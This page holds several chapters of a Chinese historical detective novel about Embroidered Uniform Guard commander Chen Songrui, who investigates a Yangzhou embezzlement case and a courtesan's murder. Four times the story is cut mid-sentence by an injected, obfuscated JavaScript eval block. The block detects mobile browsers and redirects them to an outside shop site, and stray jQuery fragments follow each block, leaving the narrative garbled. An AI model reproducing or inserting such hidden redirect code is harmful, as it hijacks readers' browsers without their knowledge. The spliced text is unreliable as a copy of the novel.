方满穗刚说完,不出所料地被她狠狠赏了个脑瓜崩:“荒唐!!你——你们俩真的一个比一个不要命!!”
“姐,你生气就打打我,别气坏了身子。”方满穗赶紧上前使出撒娇大法,小声把自己这么做的理由说了出来:“这事儿绝对有我爹爹的手笔,我没法做事不管,这事儿又特
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14245428|151138||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
别大……”
“你也知道事情大!!”兰烟渚气得又是一巴掌拍在方满穗脑袋上,指了指捂着脑袋的小姑娘,又指了指身后吓傻的大姑娘:“这事儿是今上特命锦衣卫来查实,是皇命,是钦差巡抚!陈松睿背靠太子和皇后,你能瞒他什么,又能瞒多久!”
“可是那也不能看着素潭就这么死啊。”方满穗小声狡辩,赶紧一歪头躲开姐姐的追命连环掌:“姐!!帮帮忙嘛!都到这地步啦!”
兰烟渚狠狠抹了把脸,使劲剜了一眼方满穗。她实在没法对方满穗生太大气,一来确实,她心系父亲,不愿锦衣卫查到父亲头上;二来这事儿确实麻烦,一个解释不清,尘外友明儿早就能被军队给平了!
三来……她也有良心,不愿无辜之人枉死,尤其还是自己手下的姑娘。
她从未遇到如此棘手的事情,一时间沉默了下来,靠在马车壁上垂眼沉思着。
陈松睿答应了撤出怡红院,应该不会作假,他现在估计先去驿站,再去府衙会会那群官儿去了……手下三个人,唯有傻大憨比较难搞……这事儿还有转圜的余地,不是死路一条!
“交给我,从现在开始,你全程给我闭嘴!听见没!”兰烟渚不解气,又拍了一下方满穗的脑袋,这才对外面喊道:“停车!回怡红院!”
“你!”她打断了方满穗想出口的话:“去把素琢叫来,然后你换身衣服进怡红院当个杂役,老鸨会帮你易容!”
马车停了停,又轱辘着往怡红院走去。兰烟渚先是被陈松睿气一回,又被方满穗气一回,实在没忍住,脱口一句暴躁的“妈的”!
方满穗惊讶地一挑眉,就被手快的姐姐扭住了脸蛋:“不准告诉我娘,听到没?”
那咋办,脸蛋在人家手里呢。方满穗只能噫噫呜呜地点着头,好不容易才把自己红彤彤的脸拯救出来。
#####
陈松睿难得坐一次马车,刚进去一坐下,就直接张着嘴睡得人事不省,小呼噜呼呼地打。
他今天和那尘外友的主人斗智斗勇,脑袋都赌出去,硬是只拿到一个小小的线索和一堆没着落的许诺。倒霉的指挥使先是重伤未愈,又连着熬通宵,这会儿便是铁人也撑不了,睡觉沉得连姬沧远中间进马车都不知道。
姚姜饿得前胸贴后背,实在等不及上司睡醒,快到他们歇息的地方之前短暂出去了一趟,买了两大纸袋的包子。她啃着包子推门进来,刚才还睡得像猪一样的陈松睿已经闻着味儿醒过来,快准狠地抢到了三个大肉包。
“老大,你这什么作息,睡了一盏茶就精神了。”姚姜叼着包子,又把包子递给其他人,“唔”了一声,又从怀里取出小酒囊:“别吃那么快,润润喉。”
陈松睿呛了一口,无语凝噎:“大姐,你家一大早就喝酒啊?不用了,沧远,水囊递我。”
姚姜一口半个包子:“怎么滴,怂就直说啊,装什么。”
这下其他人也都呛了一口,纷纷咳嗽起来。林奎之咳嗽着,对着姚姜比了个大拇指:“凉州人,猛!”
几人说说笑笑,在马车到驿站之前纷纷整理好了自己。陈松睿任由姬沧远帮忙处理好伤口,这才把腿一曲,笑着说:“猜猜,驿站里来的人会是谁?”
姚姜:“没人来?”
姬沧远深思熟虑:“我猜扬州通判。”
林奎之:“总不能是蔡知府吧。”
“我也猜是扬州通判。”陈松睿笑眯眯地说道,率先推开马车门:“走,会会田大人!”
13. 扬州贪墨案(1)
锦衣卫把守着驿站,门口负责看门的小旗各个昂首挺胸、目不斜视,手里紧紧把着绣春刀,像两位带着煞气的门神。
厅堂里,扬州通判田大人坐立不安,一杯茶在手里转了又转,都快见底儿了,还在那边心不在焉地往嘴里送。他官帽有些歪,眼下坠着大大的黑眼圈,整个人魂不守舍的样子,原本还算俊朗的外貌硬生生扭转成了晚娘脸。
几步路的功夫,陈松睿脸上的倦意已经彻底消散,他本就是个昆山片玉似的人儿,这会儿已然变回了那副俊美的模样。
“本官来迟,田大人久等了!”
人还未进门,金玉相撞般的声音先到了耳朵。田大人浑身一激灵,半点不敢拿大,赶紧把茶杯一放,快步走到门口郑重一揖:“扬州通判田鹏,见过都指挥使!”
“田大人客气!快请坐快请坐!”陈松睿赶忙伸手一扶,笑眯眯地和田大人相携坐了下来:“田大人果然是个钟灵毓秀的人儿,本官久闻扬州通判是个美男子,果真如此!”
田大人被夸得有些无措,口吻中略带着瑟缩,干巴巴地说道:“陈指挥使过誉了,过誉了。”
陈松睿一双凤眼笑得弯弯,没几下便把田大人从骨至皮扫了个彻底。他拿云握雾是个好手,田大人哪里是这精明人的对手,没几句就被他套话套得底/裤都不剩。
“说起来,对于蔡知府,田大人知道多少?”陈松睿大致对扬州府衙门的情况知道了些,端起一杯茶,状似无意地说道。谁知道田大人却反应巨大,身子前倾,急匆匆的,声音都高了两个调:“蔡大人清风朗月,是个好官!他他他、他是被冤、冤枉的!”
陈松睿眉梢轻轻一挑,“哦”了一声,眼看着刚才还义愤填膺的田大人像是炸完了的烟花,刺啦冒出一点烟雾,又重新萎靡地缩回了椅子里。
“田大人怎么知道他是被冤枉的?”陈松睿一只胳膊架在桌子上,微微凑近了点,表情虽然还是那副温和的笑容,目光却死死盯着田大人面皮上一丝一毫的微表情:“莫非田大人知道什么?尽管说,本官为您做——”
他话音还没说完,那像个惊弓之鸟的田大人又是一个激灵,赶紧扯着嗓子否认:“没、没有!”
“是因为蔡大人向来克己复礼、秉公执法,从未错判、漏判,甚至还会拿出自己的薪水去接济……”田大人气喘着,眼里几乎要泛起泪光。他说着说着,像是被什么玩意卡住了喉咙,呛咳了几声,又缩回了椅子里。
他绝对知道什么内情,但是因为什么外力导致这家伙跟乌龟似的,戳一下冒个泡,戳狠了还缩头。
陈松睿心里啧了一下,用茶杯遮了自己下撇的嘴角。他瞄了一眼田大人满头的冷汗,决定暂时放过这个快被吓没魂儿的可怜人,换了个话题:“听说……田大人是怡红院常客?”
完,这句话一说,田大人刚放松下去的脊背又绷了起来,“诶诶”几声,才支支吾吾地解释道:“极少留夜,就是……就是喝喝酒,听听曲儿……”
“确实是一个好去处。”陈松睿露出一个暧昧的笑容,连带着田大人也跟着露出一个苦哈哈的笑:“田大人常去的话,经常点哪位姑娘?”
田大人干笑几声,声音有点虚:“我……我经常点、点虹霓姑娘。”
站在屋子里的其他三个人都相互露出一个惊愕的笑容,站在门口角落的姚姜甚至无声骂了句脏话。
这个人要么城府极深,要么就是真无辜,但从他这“受惊小鹿”的样子来看,田大人大概还真是莫名被卷进来的人。
陈松睿眼神闪烁,心念电转,刚才还笑得露白牙的嘴唇缓缓合上了。他给最擅长唱红脸的姬沧远递去一个“开搞”的眼神,波光流转间风云变幻,刚才还温和微笑的人一掌将茶杯拍成了齑粉,剧烈的响动吓得田大人“嗷”的一声叫了出来!
“田鹏!!还敢装模作样!”陈松睿一声爆喝差点把房顶掀开,他一把揪住田大人的领子,像拎小鸡似的拎了起来:“本官昨晚在青楼目睹凶杀案,死者正是虹霓!老鸨说你就是最常来的客人,最近的四个月却忽然不再来了——说!”
田大人脸色又青又白,眼下黑影衬得他活像个从坟墓里爬出来的僵尸。他一双眼里全是恐惧,嘴唇哆嗦得连一句话都憋不出,一/大男人差点被当场吓尿:“我——不是我,不是我啊!”
“大人,也许……真不是田大人。”姬沧远及时插了个嘴,上前抱拳汇报道:“昨日田大人都呆在家里,一夜都在书房未曾出门,确实不可能是他。”
“对对对、对!”田大人吓得肝儿颤,也管不得姬沧远为什么知道他的行踪,带着哭腔委屈地说道:“陈、陈指挥使明鉴,下官、下官昨日真的没、没去青楼啊!”
“没去?就是因为你没去!”陈松睿这句话堪称不得理也不饶人,将锦衣卫的蛮横发挥到了极致:“为何不去?为什么偏偏着四个月不去?!四个月往前推刚好是贪墨案惊动今上的时候,田鹏,是不是你把什么东西藏到了青楼被虹霓看见,你刻意找人灭口?!”
陈松睿看上去义愤填膺,实则注意力全在田大人的表情上。他注意到自己说到“什么东西”的时候,田鹏瞳孔巨震,眉心微微一扬,做出了个明显“惊恐”的表情,但是当他说到“被虹霓看见”,他却明显松了口气,紧接着露出惊讶的表情,在之后,田大人才继续哭丧着脸,狠狠吸了吸鼻子。
陈松睿这句话完全信口胡说,却没想到戳到了关键点……是东西,什么东西和怡红院有关!
田鹏确实没杀虹霓,他对于虹霓被杀是完全惊讶的。但是一个扬州通判,会在青楼丢什么东西?和虹霓被杀有关吗?他又为什么对于蔡知府被冤枉如此肯定,他到底知道什么……
本来田大人以为对面这不讲道理的锦衣卫会一拳锤在自己脸上,等了又等,冷汗都快消下去,这人却只是死死扯着自己的领子,就这么变成了一块石像,定在了原地。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14253356|151138||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
“东西……怡红院,虹霓被杀……”所有的线索如同一张蜘蛛网盘桓在陈松睿脑海里,他眼前已然看不见田大人,看不见那驿站正堂,所有时日入眼入耳入脑海的画面在他面前一一闪过,无形的线将所有东西串联起来!
就在田大人小心翼翼地探出手,想把自己皱巴的领子从陈松睿手里解救出来的时候,对面的人忽然自己松开了拳头,还帮忙扯平了皱褶。
田大人被这一会儿一个样的锦衣卫弄得手足无措,尴尬地在原地站成一只仓皇的鹌鹑。
“田大人,如果我没猜错……”陈松睿对门口的姚姜使了个眼色,示意她关好门,这才继续悄声说道:“你在那里丢的东西……事关贪墨案,对吗?”
田大人呼吸骤然变快,刚刚缓过来的脸色再次变得煞白。
“你一直没再去,是怕那东西和自己联系起来,对吗?”陈松睿每说一句话,田大人就把脖子缩了几分:“可虹霓知道那东西有多‘厉害’,藏在了某处,导致自己被杀……我说的对吗?”
他静静地看着田大人,方才那些风流劲儿与蛮横劲儿全都收了起来,留下一层安静沉稳的皮,内里裹着正气凛然的心。田大人像是被他的话语安抚,倏地抬起眼,却在看向陈松睿的一瞬间又偏过了头。
“不……不对。”他唯唯诺诺地说道,匆忙站起身,乱七八糟地行个礼:“下官还有要事,先行告退了!”
姚姜本想拦住他,却被陈松睿摆摆手止住了接下来的动作。她看着一溜烟儿溜没影的田大人,稀奇地“呦”了一声:“当官儿的这么怂?我第一次见。”
陈松睿拿了个新杯子给自己倒了杯茶水,清清嗓子:“本官被这么不欢迎,也是第一次见。”
这锦衣卫兼钦差,扬州府居然就派来一个唯唯诺诺的通判来,简直就是把“不欢迎”写到了脸上。陈松睿嗤笑一声,把剩下的凉茶往地上泼掉,茶杯一丢:“更有意思了。到底是哪路神仙,能把田大人吓成这样?之垣,去,把扬州府衙的人资料弄一份来,清晰点。”
林奎之立刻应是,转身便快步出了门。
“这扬州府不多大的地儿,水却不比京城清澈多少。”陈松睿沉着眉眼,背着手跺步几句,又向姚姜挥挥手:“阿姜,辛苦点,去守着那个叫素潭的姑娘,顺便去虹霓的屋子再翻翻。我总觉得田大人丢了的玩意是破案的关键……”
姚姜打了个哈欠,点点头,刚想转身走,却被陈松睿又叫住了:“把那件金丝软甲穿上,小心点。必要的时候记得发信号。”
姚姜大哈欠的动作一顿,愣了愣,意识到陈松睿在提醒她多小心。她也不是什么马大哈的人,心里起了戒备,点点头,把这绣春刀快步走了。
“就剩下我们了。姬沧远,”陈松睿也打了个哈欠,瞅了瞅日头,对着姬沧远扬扬下巴:“去,把除了田大人的官儿都给我一一请来,请不来的,就让尚方宝剑好好劈一劈那不想要的脑袋!”
14. 扬州贪墨案(2)
下午临近下职的时候,陈松睿借着自己远扬的“名声”和那把谁见谁哆嗦的尚方宝剑,聚集了一屋子各怀心思的官员。
陈松睿坐在主位,大致扫了扫,发现六房官员倒是全都在,其余零零碎碎站在后面的人大概也来全了,但是通判和同知只来了田大人和另一个瘦高的中年人。他心下冷笑,面上却不动声色,从站在身后的林奎之手里取出官员录,哗啦啦随手一翻:“扬州同知娄川?”
“下官在。”
那看上去板正的瘦高中年人随即出列,拱手答道:“见过陈指挥使。”
陈松睿余光扫了扫周围的人,脸上带上了温和的微笑:“娄大人。”
娄大人微微弯腰,陈松睿把手里的官员录一扔:“奇怪了,蔡知府犯法下了大牢,怎么白天连其他的官员也不来府衙了?”
“回大人,刘通判前几天刚闪了腰,昨天坚持了一天,今天彻底起不来才告了假。”娄大人不卑不亢地回复道:“王同知与蔡知府一同下了狱,三天前已经畏罪自杀。”
得,蔡知府下面的同知和通判就剩面前一个梗脖子犟种一个缩脖子鹌鹑了。
这一群人从衣着看去,倒是一个武官没有,着实奇怪。
陈松睿意味不明地笑了一声,“哦”了一下,似乎把这件事儿轻轻放下了:“原来是这样。”
娄大人虽说低着头,但是脊背却绷得紧紧,声音平板无波,继续说道:“不知道陈大人已经到了扬州城,近期事务繁忙,这才怠慢了大人。还望大人恕罪。”
他嘴里说着“恕罪”,脸上却分明一副“我没错”的犟样儿,简直和那些死板的谏臣一个味儿。
其余的官员脸上也是一副“深以为然”,半点没觉得自己做错了,反而有个人也上前一步,斗胆说道:“陈大人未曾声张,必然是为了暗中调查。我等也不好打乱大人的安排,便仍旧各司其职,未能前去迎接大人。”
陈松睿又“哦”了一声,突然一拍桌子,哈哈笑了起来。
这突然而来的笑声让那上前自顾自说话的官员愣住,一时间没能说出来下面的话。
“这位……”他彬彬有礼地示意了一下,那位年轻官员赶紧回到:“在下是吏部典吏云超。”
“云大人。”陈松睿笑眯眯地说道,微微歪了歪头:“大人可知道尚方宝剑?”
那愣头青还没等陈松睿尾音落下就急忙说道:“那是自然——”
他接下来的话被一声拍桌巨响打断了。陈松退慢条斯理地盯着那冒头的傻子,嘴里的话却半点不客气:“本官持尚方宝剑,如今上亲临。云大人居然说什么‘为了不打乱计划才未能迎接’。怎么,云超,你手里的公务,比圣上还要重要?”
那官员“扑通”跪在了地上,吓得一个音儿都冒不出来,浑身抖如筛糠。陈松睿低笑着,看着一个接一个跪在地上的人,眼神却和盯住猎物的鹰隼一样凌厉:“好一个各司其职,好一个有什么原因来不得。真以为本官怕了你们扬州府衙,不敢换一批新的来吗!!”
那跪在最前头的娄大人还想说什么,却被陈松睿厉声打断了:“若你们真如自己所说,尽职尽责,自然不必怕本官巡查!之垣,请尚方宝剑,将这群酒囊饭袋、尸位素餐、不敬圣上的人统统下狱!”
周围的锦衣卫应声一喝,将这一群方才还天不怕地不怕的官儿吓得动也不敢动,除了从嘴里憋出一句“冤枉、冤枉啊”什么也坐不了。这一刹那乱成一锅粥,站在最前的娄大人却奋力挣脱了一个小旗的挟制,扑到案几上大喊道:“陈松睿草菅人命,不分青红皂——”
陈松睿这会儿笑眯了眼,微微歪着头,看着那娄大人的话语全都被那架在脖子上的尚方宝剑怼回了肚子里。
“说啊,接着说。”他扬了扬下巴,跟逗狗似的:“陛下在这儿听着呢。”
娄大人气得脸颊通红,牙关紧咬:“你——你把整个扬州府的官全都下狱,公务怎么、怎么办!”
“这话说的,好像我锦衣卫无人似的。”陈松睿靠近了娄大人,挑起一边的嘴角,笑得娄大人差点气晕过去:“我三千锦衣卫里早就带了文官,不用您担心,去牢里呆着吧。哦对了!差点忘了说,”
他把那把流光溢彩的宝剑随手一翻,推入鞘中:“去告诉那些个嘴比脑子快的蠢货,我陈松睿没聋。让我再听见一声骂人话,我就把他舌头砍了,剁碎了请他吃盘下酒菜。”
这话声音也未必多高,但一出口变成效极好,那些呜呜啦啦的声音瞬间就消散地一干二净。陈松睿对站在角落里的姬沧远打了个响指,把尚方宝剑重新递回去:“去告诉老谢,让他们准备准备接手扬州府,我要两天之内看到效果,两天之后要是把事儿办的稀巴烂,我就当着全城的人揍他屁股。”
陈松睿这人办事儿向来留后手,但不留情,不管三七二十一,所有敢在衙门里和他对着干的人全都进牢房里哆嗦去了。田大人因为是唯一一个前来迎接的人,被小旗恭敬请回了自己办公的房里。
他回去一看,昔日同僚的座位上坐了一群锦衣卫,这又把鹌鹑似的田大人吓了个好歹。好在这群人并没有他们的上司那么凶巴巴,还算好说话,田大人就在一群高大锦衣卫的“围攻”下,战战兢兢地帮他们熟悉着府衙的事务来。
那厅堂被清了场,陈松睿又变回了那个坐没坐相的样子,招招手,示意姚姜可以出门去办事儿了。
无情的上司连吃晚饭的时间都不给,把看热闹没够的千户赶出了门。
#######
夜深,怡红院重又开张。宾客如云,谈笑声随着浓郁的熏香气要把云层都熏出旖旎色调。
方满穗带着头巾,在脸颊胎记处做了点“装饰”,硬是把云雾似的青色胎记变成了一块裂开面皮的伤疤。这伤疤看上去还“酸汤挂水”,便是眉眼再精致,也盖不过这血淋淋的疤痕——即便是其他杂役都不敢往这儿看一眼。
老鸨特意没让她做什么粗活累活,诚惶诚恐的,生怕把阁主妹妹累坏:“素潭我今儿让她先歇着了……您、您要不去她那儿?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14266450|151138||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“可以,我就是来保护她的。”方满穗满意地看着自己吓人的脸,又扯了扯故意放下来的头发:“您手艺还挺好。”
老鸨呵呵笑着,有些拘谨地说道:“早年跟着师父卖艺学过点皮毛……您不嫌弃就好,不嫌弃就好。”
方满穗把用头发把自己的脸全遮住,这才一推门:“我走了,如果有什么可疑的人,记得去禀报姐姐的时候也叫我一声。”
她小碎步穿过走廊,身边便是那棵花了一天才重新修好的花灯树。几个身形纤细的女子带着长长的披帛在树与花灯间穿梭,霓为衣兮风为马,玉宫仙树花未落,丝竹乐声捧着厅堂里的嬉笑声共入云霄。
推开门的时候素潭正歪在小榻上看她那本还没看完的话本,见到是方满穗,她赶紧迎了上来,头发松松地挽着,脸色虽然还有些憔悴,眼神儿却比之前亮多了:“你来啦!我安心多了——要和我一起看话本吗?”
她似乎对方满穗有种奇怪的信任,也可能是因为都是女孩子,待在一起便会一起变得温暖又安心——方满穗自然没意见,把小榻挪到了更加隐蔽的墙角,两个姑娘手拉着一起看起书来。
外面的喧哗被一扇门搁在门外,门里是限定在今晚的平静。
方满穗心里憋着事儿,忍了又忍,没忍住抬起眼瞄了瞄素潭。她看着素潭表情恬静,似乎已经从那股恐慌劲儿里脱出来,这才清了清嗓子,小心地唤道:“素潭,素潭?”
素潭“嗯”了一声,抬起一双清澈的大眼睛。方满穗凑近了过去,小小声地问道:“你可以和我说说,你和虹霓姐姐到底是怎么回事儿吗?”
素潭听到了虹霓的名字,刚才还静水似的眼瞳瞬间泛起汹涌波涛,坠着点青影的眼眶一红,吸了吸鼻子,才小声说道:“……你,你想知道哪部分?”
“虹霓姐姐为什么要把那么重要的东西给你……这个很危险的。”方满穗下巴放在素潭的肩膀上,声音轻的像一阵微风:“她……她是怎么偷出来的?”
素潭四下看了看,才凑到方满穗耳朵边,嘴唇几乎没怎么动地用气声说道:“……不是偷的……喝醉了……掉出来,被姐姐捡到了。姐姐虽然身在风尘,可心却、却和那将军一样。”
“她担心被坏人捡到,就把那东西分成了两份,一份给了我,就在……里。”
方满穗无奈地叹口气,伸手揉了揉素潭嫩滑的脸蛋:“你们也真是胆子太大了,幸亏有我。这几天就算上厕所洗澡都要和我呆一起知道吗?”
素潭一双杏眼笑得弯弯的,小心地盖住了方满穗的手:“你也没比我大多少,怎么这么厉害呢?”
方满穗嘻嘻一笑,正想说什么,却听到脑袋顶上突兀冒出一句慵懒的女声——
“你俩都挺胆子大的。”
姚姜不知道什么时候藏进了梁上,这会儿轻巧跳了下来,看着把素潭护在身后的方满穗,大大咧咧地一挥手:“好久不见啊覃姑娘,这可真巧不是。走吧,跟我去见见那个被你一拳揍下墙的指挥使?”
15. 扬州贪墨案(3)
素潭发出一声细细的尖叫,慌里慌张地躲到了书柜后面。
“姚千户所言极是。”方满穗煞有介事地点点头,却话锋一转:“为何不是你们老大来见我们?莫不是被我一拳揍得一个多月下不来地?”
她话语拿腔拿调,活像指着人鼻子说“吴儿尽是汉儿爷”*,语气里的嘲讽和嚣张扑面而来,和当场抽了姚姜一个大嘴巴子没有区别。
即便是平时不怎么会为难女子的姚姜,这会儿笑容也落了下去。
“覃姑娘口齿伶俐啊,在下自愧不如,自愧不如。”她没什么感情地扯了扯嘴角,“噌”得一声拔出了绣春刀,在手里颠了颠,像是在认真思索着什么:“不行……不行,要是就这么把你带过去,我平白受了气,这不得憋死我?!”
方满穗也收了笑容,一双清凌凌的桃花眼微微眯起,看着那千户打了个响指,用刀指着自己:“我得砍你一刀出出气才行。别动,让我砍一刀,我保证不杀了你。”
流光刺人眼,杀气与鸣金击石之声直击门面而来!
方满穗腰间飞出两道寒光,与绣春刀锵然撞在一起!
她手中宝剑有些奇怪,一长一短,只有两指粗,却能在软光与硬质之间自如切换。姚姜交手没两下,大腿就被那把短剑带出两道细细血痕,她腰部用力一转,劈刀再挑腕,硬生生挡开了即将划到脖颈的长剑!
两人交手较为克制,没敢打到周围的家具布置,似乎无形间立下了“谁毁了东西谁就输了”的规矩。姚姜脚步后退几步,那古怪双剑搭配着古怪剑法已经在她身上划了数道,袖子都划得破烂。
那时而灵蛇、时而硬玉似的剑挥舞得密不透风,将那姑娘护在中心,竟是泼水不进,姚姜半点便宜没捞着,自己差点被一剑带去见阎王。
方满穗并没有因为她是女子留手,她其实也没有……但问题是打不过啊!
“剑圣的女儿,轻敌了艹。”姚姜暗骂一声,将刀改为双手握持,小心地与方满穗在略微局促的房间里周旋。
房门外便是酒徒狎兴烈、满堂春思荡的热闹,而门里却是刀光剑影的对峙,薄薄一扇门隔开两方场景。
方满穗的剑蛇似的绕过姚姜的右手与小臂,钳制住那把被血腥开光的绣春刀,另一把剑毫不犹豫,手腕翻转,平沙荡柳似的削向姚姜的膝盖。
姚姜不得不后撤一步,衣摆被削掉一大片。她换成左手持刀,刀尖一挑,化作一道银线撩向方满穗脸颊!
方满穗左手持剑格挡,右手用力一抽,姚姜右臂瞬间衣物炸裂、皮肉翻开,留下一道长长的蛇形血痕!
“嘶!”姚姜痛得动作一滞,左手的刀险些被方满穗挑飞。她意识到方满穗不仅不留情,恐怕还抱着杀了她的心思!
“小姑娘长得挺灵——”姚姜猛然朗声大笑,双眼如鹰,周身反倒生出无所畏惧的烈火,叫她生了千般力气——狼狈的千户双手持刀重重劈下,千钧之力将方满穗砍得往后连退两步:“怎么下手这么绝!”
她这辈子跟着陈松睿出生入死,把脑袋挂在裤腰带上满天下跑,受伤脱落的疤痕都能把自家看门狗喂胖,并非没有被逼至绝路过……那又如何,命算什么!狭路相逢勇者胜,谁不怕死谁会赢!
那姑娘气场倏地一变,像是被鲜血与死亡取悦的野兽,站在万丈悬崖之前,被烈烈风声吹起了满腔战意,低吼便是那鼓动心脏的战歌!
方满穗连连让了好几步,一时间竟是不敢接姚姜的招数——她在力量上并不占优势,但这千户像是感觉不到疼的斗狗似的,也不管她剑风扫出的伤口,拖着一身血淋淋的皮,一力降十会,一下能把人手腕震得巨麻!
她原本只想让人知难而退,并没想过真杀了她,没想到这千户看上去秀美可爱,却是个疯狗般的人儿,这不就是那什么“舍得一身剐,敢把皇帝拉下马”?
两人之间的形势骤然扭转,方满穗一时不查,差点被她一刀砍到肩膀!
她一个后桥,翻过那张红木小矮几,踉跄着撞到了柱子。
素潭不知道躲去了哪里,一眼望去,连人影儿都没有。方满穗被那气劲扫得头发散乱,双手攥紧了剑柄,咬牙切齿道:“千户不留情,也别怪我杀了你!”
#####
陈松睿傍晚睡了一会儿,吃完饭的时候精神抖擞,叫来了几个小旗问了问牢里的情况。
小旗赶紧抱拳回道:“回老大,有您那句话,还有您安排的物件儿,大部分的官都没再骂人了,尤其是娄大人。其余的有几个骂累了也闭嘴了,小的们都没去理会。”
陈松睿嘴里刚塞了个大馄饨,“嗯嗯嗯”几声,又匆忙喝了口汤,比了个“继续”的手势。
小旗赶紧又一抱拳,思索片刻,才继续说道:“小的们按照您的吩咐装扮成狱卒看着各位大人,吏部典吏、礼部典吏要求告知家人。期间刘通判来过一次,小的让大夫帮忙看了看,确实是崴了,腰上还有拔火罐的印子,从痕迹上看,不像是来之前拔的。”
他顿了顿,又继续说道:“还有娄大人,他看上去非常镇定,独自在草堆上打坐,一直没动。”
陈松睿在小旗说事儿的时候就吃完了一/大碗馄饨,这会儿正往嘴里塞一块糕点,含糊地嗯了一声,想了想说道:“行。继续盯着娄大人。”
“他身上那股纯臣的劲儿挺足,我却觉得有点……浮于表面。”他喝了口酸梅汤,嘶了一下:“给我盯住他,这人可能是扬州府真正的一把手。哦对了,那个自杀的王大人,仵作验尸验完了没?”
小旗摇摇头:“没有,王大人的尸体已经严重腐烂,老刘正在仔细检查。”
陈松睿喝汤动作一顿,眉梢一挑:“腐烂?”
小旗点点头:“是的。王大人的尸体放在牢里三天没人管,这夏天又热又潮,味儿都出来了。”
“那蔡知府呢?”陈松睿皱了皱眉,把端在手里的酸梅汤又放下了:“他还好吗?”
“小的看那蔡知府身体强壮,被关了几个月,也只是脸色有些憔悴,什么事儿都没有。”小旗仔细回忆着,哦了一下,继续说道:“感觉蔡知府似乎是个练家子,兄弟们悄咪咪地想凑过去,还没靠近他的牢房,他就立刻察觉了。”
“确实,蔡知府的哥哥是个小有名气的拳师。”陈松睿点点头,对属下办事儿的效率感到满意:“可以啊你们,办事儿靠谱多了。兄弟们都辛苦点、警醒点,到时候奖赏不会少!”
小旗立刻兴高采烈地一抱拳:“谢老大!”
这边安排完了,陈松睿靠在窗边,捧着一碗没喝完的酸梅汤撒癔症。扬州的夏末已经比那喘气儿都呛水的日子好受很多,夜晚微风凉爽,还能看到偶尔掠过的小鸟雀,嘴里淌过清凉的酸甜味,心里便和那无垠的天空一样广袤。
他快喝完的时候终于接到了姚姜的飞鸽传书,天都已经彻底暗下来。陈松睿打了一个顺畅而无声的嗝,舒了一口气,随手摘下绑在鸽子脚下的纸条:“这家伙,还挺靠谱。”
纸条上的字凌乱潦草,陈松睿辨认好一会儿才意识到自己拿倒了。他嘴角抽搐,把纸条转了个圈,才总算看懂了自己下属到底
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14268304|151138||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
都写了什么。
纸条上龙飞凤舞,字和字之间打得不可开交:“素潭无恙,但见到了覃……娘,来,快来!”
“覃娘?”陈松睿皱皱眉,猛地站起身,一把将纸条攥得皱巴:“覃姑娘?!”
什么叫踏破铁鞋无觅处啊!他找了一个月的人居然就这么在人眼皮底下出现了,装都不带装的。
陈松睿几乎瞬间想通了关窍,气得冷笑出声:“兰烟渚,耍我!林奎之,林奎之哪儿去了?!”
他声音带了内力,整个驿馆全能听见。不多时,手里还抱着一个大海碗的林奎之风风火火冲了过来,几口把剩下的面条嗦了个干净:“老大,叫我?”
“废话,不叫你我叫的是猪?!”陈松睿抄起桌子上的绣春刀别在腰间,快步走出了门,路过的时候一巴掌扇在林奎之脑门上:“赶紧擦擦你的脸跟我来!快!叫上几个兄弟!!”
林奎之赶紧一抹嘴,把碗往旁边石桌上一送,跑着追上陈松睿:“老大!!等我!!来了!!”
######
灯火将一整条风月长街笼罩,而两人正将灯火踩于脚下,游隼似的掠过房顶,那些沉浸于蜡炬兰灯中的人竟是一个未曾察觉。
姚姜的血滴了一路,双眼猩红,冲在最前方。她半身皮肉几乎被方满穗削成了破烂,这会儿正抄着绣春刀,猫儿似的在青砖黛瓦之间跳跃,像是拼命想甩掉身后的人。
方满穗身轻如燕,一头长发在身后飘扬。她那从双眼中蔓延的杀意早已感染全身,像是夜晚猎杀人类的妖怪,快速缩短着两人的距离。
“卧槽!”姚姜余光一瞄,发现那杀神居然死死追在她身边,气得她暗骂一句:“她怎么还跟着!MD第一次见,这人怎么也容易上头啊!”
